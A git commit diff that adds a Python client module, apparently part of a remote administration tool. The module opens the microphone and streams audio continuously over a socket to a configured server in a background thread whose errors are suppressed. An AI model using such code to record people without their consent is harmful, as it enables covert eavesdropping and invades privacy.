diff options
author | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 10:39:49 +0200 |
---|---|---|
committer | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 10:39:49 +0200 |
commit | 58ebd3bc0f00c532e97e9a5571471ffab87934ba (patch) | |
tree | 6e099e59af07206df6edf2b0c585d0c5a466d4bd /client/modules/audio.py |
Diffstat (limited to 'client/modules/audio.py')
-rw-r--r-- | client/modules/audio.py | 54 |
1 files changed, 54 insertions, 0 deletions
diff --git a/client/modules/audio.py b/client/modules/audio.py new file mode 100644 index 0000000..db37a6e --- /dev/null +++ b/client/modules/audio.py @@ -0,0 +1,54 @@ +''' + Creates a connection to the server, sending a stream + of audio data using the specified channels & rate. + + Verified: 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 + * Third Party Modules + * pyaudio +''' + +from client.modules.module import Module +from shared.helper import Helper +from shared.state import Static +from shared.error import Error +from shared.data import Data + +import pyaudio +import socket + + +class Audio(Module): + + def __init__(self, token): + super().__init__(token) + self.__audio = pyaudio.PyAudio() + + @Error.quiet_thread + def __send(self, channels, rate): + try: + stream = self.__audio.open(format=pyaudio.paInt16, + channels=channels, rate=rate, + frames_per_buffer=Data.BUFFER_SIZE, + input=True) + + try: + with socket.create_connection( + (Static.IP, Static.PORT)) as sock: + Data.send(sock, self.token) + Data.recv(sock) + + while True: + Data.send(sock, stream.read( + Data.BUFFER_SIZE), False) + Data.recv(sock) + finally: + stream.stop_stream() + stream.close() + finally: + self.__audio.terminate() + + def live(self, channels, rate): + Helper.thread(self.__send, channels, rate) |